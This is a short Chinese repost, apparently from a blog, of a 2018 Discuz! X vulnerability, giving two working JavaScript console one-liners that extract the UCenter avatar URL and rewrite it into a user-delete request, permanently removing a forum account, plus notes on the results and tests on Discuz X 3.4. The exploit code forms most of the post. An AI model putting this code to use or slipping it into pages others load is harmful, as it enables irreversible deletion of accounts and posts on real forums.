永久删除你在任何 Discuz! X 论坛的帐号

2018-02-06日漏洞

浏览器F12,Console执行

location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID？'))?d:'';

或

(async function(){location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID？'))?d:'';})()

没有后悔药，谨慎操作

1、执行后，如果显示大于 0 的整数，说明帐号删除成功。

2、删除的是 UCenter 内的帐号，UCenter 会通知 Discuz! 删除用户帐号。

3、通知可能出现延迟，或不成功。因此可能不会立即登出网站。

4、如果通知最终成功，该帐号及其所有帖子都会从 Discuz! 中删除。

5、如果通知不成功，帐号登出后也将无法登录。此时可以注册一个新的同名帐号，覆盖原帐号。原帐号信息将被删除，其帖子将无法阅读（但不会删除）。

转自 https://twitter.com/Coxxs/status/960462809615052801

测试可以删除，在本机新搭建的Discuz X 3.4 和线上运行很久的Discuz X 3.4论坛都删除成功

测试时遇到有些论坛删除成功，登录时提示失败，但再次注册时提示用户名已存在的情况，提示激活，但激活失败

【转自】https://lengxx.com/post/475.html